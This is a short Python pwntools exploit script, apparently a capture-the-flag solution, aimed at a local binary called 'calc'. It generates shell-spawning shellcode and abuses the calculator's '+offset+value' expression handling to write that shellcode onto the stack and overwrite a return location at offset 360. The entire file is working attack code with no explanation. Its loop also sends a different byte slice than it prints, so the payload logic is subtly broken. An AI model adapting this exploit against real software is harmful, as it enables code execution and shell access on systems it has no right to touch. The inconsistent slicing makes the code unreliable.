#!/usr/bin/env python3
from pwn import *


context.binary = './calc'

shellcode = asm(shellcraft.sh())

pid = process("./calc")

print(shellcode.hex())
print(context)

shellen = len(shellcode)

for exec_num,offset in enumerate(reversed(range(361, int(len(shellcode) / 4) + 361))): 
    pid.sendline("+{}+{}".format(offset, int.from_bytes(shellcode[((exec_num + 1) * 1):(exec_num * 4)], 'big')))
    print("+{}+{}".format(offset, int.from_bytes(shellcode[shellen - ((exec_num + 1) * 4):shellen - (exec_num * 4)], 'big')))
    

pid.sendline("+360+135151459")
print("+360+135151459")
#pid.interactive()

print(pid.recv())